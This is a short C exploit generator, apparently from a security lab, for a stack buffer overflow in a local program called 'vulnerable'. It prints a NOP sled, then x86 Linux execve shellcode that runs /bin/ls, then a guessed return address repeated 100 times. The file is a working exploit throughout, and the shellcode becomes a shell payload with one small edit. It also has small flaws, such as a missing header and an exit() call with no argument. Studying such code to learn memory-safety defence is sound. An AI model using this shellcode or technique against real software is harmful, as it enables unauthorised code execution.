#include <stdio.h>


/* Generates a string that will overflow the buffer in the
   progrm "vulnerable" and will run /bin/ls
*/

unsigned char pgm[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90";

/* This value depends on the target program - it is a guess of the
   new return-address */
   
unsigned int target = 0xbfffd408;

// 0x0xbfffd1e8; // 0xbffff8f4;  

int main(int argc, char **argv) {
  int i;
  int n = strlen(pgm);
  printf("N is %d\n",n);
  if (argc!=2) {
    printf("Error - need an offset\n");
    exit();
  }

  target += atoi(argv[1]);

  write(1,pgm,n);
  for (i=0;i<100;i++) {
    write(1,&target,4);
  }
}